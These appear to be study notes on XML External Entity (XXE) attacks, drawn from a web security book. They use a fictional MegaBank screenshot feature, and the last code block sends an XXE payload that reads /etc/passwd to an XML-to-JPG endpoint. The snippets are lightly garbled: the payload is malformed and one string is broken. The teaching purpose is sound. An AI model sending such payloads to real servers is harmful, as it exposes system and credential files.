a classification of attack that is often very simple to execute, but with devastating results.Relies on improperly configured XML parser within an application's code
an API endpoint that accepts an XML payload
XML-like formats include SVG, HTML/DOM, PDF(XPDF), and RTF
magic behind --- XML specification includes a special annotation for importing external files. This special directive, called an external entity, is interpreted on the machine on which the XML file is evaluated.
> This means that a spcially crafted XML payload sent to a server's XML pareser could result in compromsing files in that servers's file structure.
used to compromise files from other users
access files like /etc/shadow -- store important credentials required for a Univ-based server to function properly
Direct XXE
In direct XXE, an XML object is sent to the server with an external entity flag. It is
then parsed, and a result is returned that includes the external entity
<!--
A simple button. Calls the function `screenshot()` when clicked.
-->
<button class="button"
id="screenshot-button"
onclick="screenshot()">
Send Screenshot to Support</button>
/*
* Collect HTML DOM from the `content` element and invoke an XML
* parser to convert the DOM text to XML.
*
* Send the XML over HTTP to a function that will generate a screenshot
* from the provided XML.
*
* Send the screenshot to support staff for further analysis.
*/
const screenshot = function() {
try {
/*
* Attempt to convert the `content` element to XML.
* Catch if this process fails—generally this should succeed
* because HTML is a subset of XML.
*/
const div = document.getElementById('content').innerHTML;
const serializer = new XMLSerializer();
const dom = serializer.serializeToString(div);
/*
* Once the DOM has been converted to XML, generate a request to
* an endpoint that will convert the XML to an image. Hence
142 | Chapter 12: XML External Entity (XXE)
* resulting in a screenshot.
*/
const xhr = new XMLHttpRequest();
const url = 'https://util.mega-bank.com/screenshot';
const data = new FormData();
data.append('dom', dom);
/*
* If the conversion of XML -> image is successful,
* send the screenshot to support for analysis.
*
* Else alert the user the process failed.
*/
xhr.onreadystatechange = function() {
sendScreenshotToSupport(xhr.responseText, (err) => {
if (err) { alert('could not send screenshot.') }
else { alert('screenshot sent to support!'); }
});
}
xhr.send(data);
} catch (e) {
/*
* Warn the user if their browser is not compatible with this feature.
*/
alert(Your browser does not support this functionality. Consider upgrading.
);
}
};
The browser converts the current user’s view (via the DOM) to XML.
The browser sends this XML to a service which converts it to a JPG.
The browser sends that JPG to a member of MegaBank support via another API.
import xmltojpg from './xmltojpg'
/*Convert an XML to a JPG image.
*Return the image data to the requester
*/
app.post('/screenshot', function(req, res){
if(!req.body.dom) { return res.sendStatus(400)}
xmltojpg.convert(req.body.dom)
.then((err, jpg) => {
if(err) {return res.sendStatus(400)}
return res.send(jpg)
})
})
To convert the XML file to a JPG file, it must go through an XML parser. To be a valid
XML parser, it must follow the XML spec.
import utilAPI from './utilAPI'
/*
* Generate a new XML HTTP request targeting the XML -> JPG utility API.
*/
const xhr = new XMLHttpRequest()
xhr.open('POST', utilAPI.url + '/screenshot')
xhr.setRequestHeader('Content-Type', 'application/xml')
/*
* Provide a manually crafted XML string hat makes use of the external entity functionality in many XML parsers.
*/
const rawXMLString = '<!ENTITY xxe SYSTEM "file:///etc/passwd">]><xxe>&xxe;</xxe>'
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200){
// chekc response data here
}
}
// send the request to the XML -> JPG utility API endpoint
xhr.send(rawXMLString)